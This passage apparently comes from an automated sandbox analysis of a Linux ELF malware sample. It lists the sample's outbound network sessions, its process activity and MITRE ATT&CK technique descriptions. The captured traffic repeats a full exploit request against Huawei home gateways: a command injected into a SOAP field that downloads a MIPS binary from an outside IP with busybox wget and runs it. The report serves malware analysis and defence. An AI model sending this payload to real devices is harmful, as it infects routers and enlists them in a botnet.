2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.23	45824	156.126.49.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308317900 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.23	35150	41.4.150.25	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308362007 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.23	60204	197.159.189.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308392048 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.23	59848	41.145.26.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308432102 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.23	56528	197.200.184.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308485031 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.23	52032	41.32.190.153	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308506012 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.23	35508	156.141.78.170	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308532953 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: t9lNEiD3ui.elf PID: 6203, Parent PID: 6118

General

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	/tmp/t9lNEiD3ui.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: t9lNEiD3ui.elf PID: 6209, Parent PID: 6205

General

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: t9lNEiD3ui.elf PID: 6212, Parent PID: 6205

General

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: t9lNEiD3ui.elf PID: 6215, Parent PID: 6205

General

Start time (UTC):	16:15:50
Start date (UTC):	01/06/2024
Path:	/tmp/t9lNEiD3ui.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:16:01
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:16:01
Start date (UTC):	01/06/2024
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	16:15:55
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	16:16:01
Start date (UTC):	01/06/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	16:16:01
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	16:16:05
Start date (UTC):	01/06/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	16:16:05
Start date (UTC):	01/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
